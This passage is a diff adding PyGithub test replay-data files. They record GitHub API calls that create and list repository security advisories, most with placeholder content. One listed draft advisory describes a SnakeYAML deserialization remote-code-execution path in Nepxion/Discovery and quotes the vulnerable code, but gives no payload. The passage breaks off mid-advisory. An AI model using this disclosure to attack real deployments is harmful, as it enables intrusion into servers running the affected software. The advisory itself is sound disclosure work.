('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"6f5a7459d1855bc221f78575c32a76b17c9783accc7468362b719c49a8ed198f"'), ('Last-Modified', 'Tue, 04 Apr 2023 15:27:37 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4974'), ('X-RateLimit-Reset', '1680625274'), ('X-RateLimit-Used', '26'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'FEEC:4173:499069:95F1F0:642C41E9')] +{"ghsa_id":"GHSA-2f23-hmjx-gm6h","cve_id":null,"url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-2f23-hmjx-gm6h","html_url":"https://github.com/JLLeitschuh/code-sandbox/security/advisories/GHSA-2f23-hmjx-gm6h","summary":"A test creating a GHSA via the API adding and removing vulnerabilities","description":"Simple description","severity":"low","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-2f23-hmjx-gm6h","type":"GHSA"}],"state":"draft","created_at":"2023-04-04T15:27:37Z","updated_at":"2023-04-04T15:27:37Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"maven","name":null},"vulnerable_version_range":null,"patched_versions":null,"vulnerable_functions":[]},{"package":{"ecosystem":"npm","name":"b-package"},"vulnerable_version_range":"<=4.0.9","patched_versions":"4.0.10","vulnerable_functions":["function-name-c"]}],"cvss":{"vector_string":null,"score":null},"cwes":[],"cwe_ids":[],"credits":[],"credits_detailed":[]} + diff --git a/tests/ReplayData/RepositoryAdvisory.testCreateRepositoryAdvisory.txt b/tests/ReplayData/RepositoryAdvisory.testCreateRepositoryAdvisory.txt new file mode 100644 index 00000000..5366395d --- /dev/null +++ b/tests/ReplayData/RepositoryAdvisory.testCreateRepositoryAdvisory.txt @@ -0,0 +1,22 @@ +https +GET +api.github.com +None +/repos/JLLeitschuh/code-sandbox +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 12:46:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"c958ae868bcb809b020632c7d08b3898868191584e8b28520cd66fcbb15dc06e"'), ('Last-Modified', 'Fri, 07 Jan 2022 23:03:20 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4973'), ('X-RateLimit-Reset', '1680614071'), ('X-RateLimit-Used', '27'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CCA5:93AD:1207CE:24DD3C:642C1C3F')] +{"id":289330855,"node_id":"MDEwOlJlcG9zaXRvcnkyODkzMzA4NTU=","name":"code-sandbox","full_name":"JLLeitschuh/code-sandbox","private":false,"owner":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"html_url":"https://github.com/JLLeitschuh/code-sandbox","description":null,"fork":false,"url":"https://api.github.com/repos/JLLeitschuh/code-sandbox","forks_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/forks","keys_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/keys{/key_id}","collaborators_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/teams","hooks_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/hooks","issue_events_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/issues/events{/number}","events_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/events","assignees_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/assignees{/user}","branches_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/branches{/branch}","tags_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/tags","blobs_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/refs{/sha}","trees_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/trees{/sha}","statuses_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/statuses/{sha}","languages_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/languages","stargazers_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/stargazers","contributors_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/contributors","subscribers_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/subscribers","subscription_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/subscription","commits_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/commits{/sha}","git_commits_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/commits{/sha}","comments_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/comments{/number}","issue_comment_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/issues/comments{/number}","contents_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/contents/{+path}","compare_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/compare/{base}...{head}","merges_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/merges","archive_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/downloads","issues_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/issues{/number}","pulls_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/pulls{/number}","milestones_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/milestones{/number}","notifications_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/labels{/name}","releases_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/releases{/id}","deployments_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/deployments","created_at":"2020-08-21T17:47:53Z","updated_at":"2022-01-07T23:03:20Z","pushed_at":"2023-03-10T16:07:28Z","git_url":"git://github.com/JLLeitschuh/code-sandbox.git","ssh_url":"git@github.com:JLLeitschuh/code-sandbox.git","clone_url":"https://github.com/JLLeitschuh/code-sandbox.git","svn_url":"https://github.com/JLLeitschuh/code-sandbox","homepage":null,"size":106,"stargazers_count":0,"watchers_count":0,"language":"Java","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"}},"network_count":0,"subscribers_count":2} + +https +POST +api.github.com +None +/repos/JLLeitschuh/code-sandbox/security-advisories +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"summary": "A test creating a GHSA via the API", "description": "This is a detailed description of this advisories impact and patches.", "cve_id": "CVE-2000-00000", "vulnerabilities": [{"package": {"ecosystem": "npm", "name": "b-package"}, "patched_versions": "4.0.5", "vulnerable_functions": ["function-name"], "vulnerable_version_range": "<=4.0.4"}], "cwe_ids": ["CWE-401", "CWE-502"], "credits": [{"login": "octocat", "type": "analyst"}, {"login": "JLLeitschuh", "type": "reporter"}], "severity": "high"} +201 +[('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 12:46:56 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '4083'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"376385d7a3c5c35218eebdc110e1d5fa3a911158a18559041a40e4258ecbb351"'), ('Last-Modified', 'Tue, 04 Apr 2023 12:46:55 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('Location', 'https://api.github.com/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-g45c-2crh-4xmp'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4972'), ('X-RateLimit-Reset', '1680614071'), ('X-RateLimit-Used', '28'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'CCA6:5E9A:1357DE:277AC6:642C1C3F')] +{"ghsa_id":"GHSA-g45c-2crh-4xmp","cve_id":"CVE-2000-00000","url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-g45c-2crh-4xmp","html_url":"https://github.com/JLLeitschuh/code-sandbox/security/advisories/GHSA-g45c-2crh-4xmp","summary":"A test creating a GHSA via the API","description":"This is a detailed description of this advisories impact and patches.","severity":"high","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-g45c-2crh-4xmp","type":"GHSA"},{"value":"CVE-2000-00000","type":"CVE"}],"state":"draft","created_at":"2023-04-04T12:46:55Z","updated_at":"2023-04-04T12:46:55Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"b-package"},"vulnerable_version_range":"<=4.0.4","patched_versions":"4.0.5","vulnerable_functions":["function-name"]}],"cvss":{"vector_string":null,"score":null},"cwes":[{"cwe_id":"CWE-401","name":"Missing Release of Memory after Effective Lifetime"},{"cwe_id":"CWE-502","name":"Deserialization of Untrusted Data"}],"cwe_ids":["CWE-401","CWE-502"],"credits":[{"login":"octocat","type":"analyst"},{"login":"JLLeitschuh","type":"reporter"}],"credits_detailed":[{"user":{"login":"octocat","id":583231,"node_id":"MDQ6VXNlcjU4MzIzMQ==","avatar_url":"https://avatars.githubusercontent.com/u/583231?v=4","gravatar_id":"","url":"https://api.github.com/users/octocat","html_url":"https://github.com/octocat","followers_url":"https://api.github.com/users/octocat/followers","following_url":"https://api.github.com/users/octocat/following{/other_user}","gists_url":"https://api.github.com/users/octocat/gists{/gist_id}","starred_url":"https://api.github.com/users/octocat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/octocat/subscriptions","organizations_url":"https://api.github.com/users/octocat/orgs","repos_url":"https://api.github.com/users/octocat/repos","events_url":"https://api.github.com/users/octocat/events{/privacy}","received_events_url":"https://api.github.com/users/octocat/received_events","type":"User","site_admin":false},"type":"analyst","state":"pending"},{"user":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"type":"reporter","state":"accepted"}]} + diff --git a/tests/ReplayData/RepositoryAdvisory.testGetAdvisories.txt b/tests/ReplayData/RepositoryAdvisory.testGetAdvisories.txt new file mode 100644 index 00000000..3a972c4b --- /dev/null +++ b/tests/ReplayData/RepositoryAdvisory.testGetAdvisories.txt @@ -0,0 +1,11 @@ +https +GET +api.github.com +None +/repos/JLLeitschuh/security-research/security-advisories +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 30 Mar 2023 21:59:35 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"2f56de9a6e668493a583a01b2bf0ededa567b9fe42e26c812aa724bd9c4e048a"'), ('Last-Modified', 'Thu, 30 Mar 2023 19:31:33 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4992'), ('X-RateLimit-Reset', '1680217136'), ('X-RateLimit-Used', '8'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F3CD:09C6:2B9B77:59F703:64260647')] +[ { "ghsa_id": "GHSA-wmmh-r9w4-hpxx", "cve_id": "CVE-2050-00000", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-wmmh-r9w4-hpxx", "summary": "A test creating a GHSA via the API", "description": "This is a detailed description of this advisories impact and patches.", "severity": "high", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": null, "identifiers": [ { "value": "GHSA-wmmh-r9w4-hpxx", "type": "GHSA" }, { "value": "CVE-2050-00000", "type": "CVE" } ], "state": "draft", "created_at": "2023-03-28T21:41:40Z", "updated_at": "2023-03-28T21:41:40Z", "published_at": null, "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "npm", "name": "a-package" }, "vulnerable_version_range": ">= 1.0.2", "patched_versions": "1.0.5", "vulnerable_functions": [ "function-name" ] } ], "cvss": { "vector_string": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H", "score": 7.6 }, "cwes": [ { "cwe_id": "CWE-400", "name": "Uncontrolled Resource Consumption" }, { "cwe_id": "CWE-501", "name": "Trust Boundary Violation" } ], "cwe_ids": [ "CWE-400", "CWE-501" ], "credits": [ { "login": "octocat", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "octocat", "id": 583231, "node_id": "MDQ6VXNlcjU4MzIzMQ==", "avatar_url": "https://avatars.githubusercontent.com/u/583231?v=4", "gravatar_id": "", "url": "https://api.github.com/users/octocat", "html_url": "https://github.com/octocat", "followers_url": "https://api.github.com/users/octocat/followers", "following_url": "https://api.github.com/users/octocat/following{/other_user}", "gists_url": "https://api.github.com/users/octocat/gists{/gist_id}", "starred_url": "https://api.github.com/users/octocat/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/octocat/subscriptions", "organizations_url": "https://api.github.com/users/octocat/orgs", "repos_url": "https://api.github.com/users/octocat/repos", "events_url": "https://api.github.com/users/octocat/events{/privacy}", "received_events_url": "https://api.github.com/users/octocat/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "pending" } ] }, { "ghsa_id": "GHSA-wvgm-59wj-rh8h", "cve_id": null, "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-wvgm-59wj-rh8h", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-wvgm-59wj-rh8h", "summary": "Testing GHSA creation", "description": "Example closed GHSA for testing\r\n", "severity": null, "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": null, "identifiers": [ { "value": "GHSA-wvgm-59wj-rh8h", "type": "GHSA" } ], "state": "closed", "created_at": "2023-01-26T19:33:30Z", "updated_at": "2023-02-02T17:58:59Z", "published_at": null, "closed_at": "2023-02-02T17:58:59Z", "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "", "name": "" }, "vulnerable_version_range": "", "patched_versions": "", "vulnerable_functions": [] } ], "cvss": { "vector_string": null, "score": null }, "cwes": [], "cwe_ids": [], "credits": [], "credits_detailed": [] }, { "ghsa_id": "GHSA-22cq-8f5q-p5g2", "cve_id": "CVE-2022-1471", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-22cq-8f5q-p5g2", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-22cq-8f5q-p5g2", "summary": "Nepxion/Discovery: Remote Code Execution via SnakeYAML Deserialization Gadgets", "description": "### Impact\r\n\r\nRemote Code Execution vulnerability in the \r\n\r\n### Vulnerability\r\n\r\nThis project leverages SnakeYAML to deserialize YAML input into java objects. Unfortunately, this library allows for arbitrary execution of code when deserializing untrusted user input.\r\n\r\n[discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L50-L50)\r\n\r\n
        Yaml snakeYaml = new Yaml();\r\n\r\n        return snakeYaml.loadAs(yaml, clazz);\r\n    }\r\n}
\r\n\r\n*Unsafe deserialization depends on a [user-provided value](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L160-L160).*\r\n\r\n#### Paths\r\n\r\n
\r\nPath with 8 steps\r\n\r\n1. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L160-L160)\r\n
    @ApiOperation(value = \"根据Yaml格式,反解析版本蓝绿灰度发布策略为Json格式\", notes = \"\", response = ResponseEntity.class, httpMethod = \"POST\")\r\n       @ResponseBody\r\n       public ResponseEntity<?> convertVersionRelease(@RequestBody @ApiParam(value = \"蓝绿灰度策略Yaml\", required = true) String conditionStrategyYaml) {\r\n           return doDeparseVersionReleaseYaml(conditionStrategyYaml);\r\n       }\r\n   
\r\n \r\n2. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L161-L161)\r\n
    @ResponseBody\r\n       public ResponseEntity<?> convertVersionRelease(@RequestBody @ApiParam(value = \"蓝绿灰度策略Yaml\", required = true) String conditionStrategyYaml) {\r\n           return doDeparseVersionReleaseYaml(conditionStrategyYaml);\r\n       }\r\n   \r\n   
\r\n \r\n3. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L341-L341)\r\n
    }\r\n   \r\n       private ResponseEntity<?> doDeparseVersionReleaseYaml(String conditionStrategyYaml) {\r\n           try {\r\n               ConditionStrategy result = strategyResource.deparseVersionReleaseYaml(conditionStrategyYaml);\r\n   
\r\n \r\n4. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L343-L343)\r\n
    private ResponseEntity<?> doDeparseVersionReleaseYaml(String conditionStrategyYaml) {\r\n           try {\r\n               ConditionStrategy result = strategyResource.deparseVersionReleaseYaml(conditionStrategyYaml);\r\n   \r\n               return ResponseUtil.getSuccessResponse(result);\r\n   
\r\n \r\n5. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L197-L197)\r\n
\r\n       @Override\r\n       public ConditionStrategy deparseVersionReleaseYaml(String conditionStrategyYaml) {\r\n           return YamlUtil.fromYaml(conditionStrategyYaml, ConditionStrategy.class);\r\n       }\r\n   
\r\n \r\n6. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L198-L198)\r\n
    @Override\r\n       public ConditionStrategy deparseVersionReleaseYaml(String conditionStrategyYaml) {\r\n           return YamlUtil.fromYaml(conditionStrategyYaml, ConditionStrategy.class);\r\n       }\r\n   \r\n   
\r\n \r\n7. [discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L46-L46)\r\n
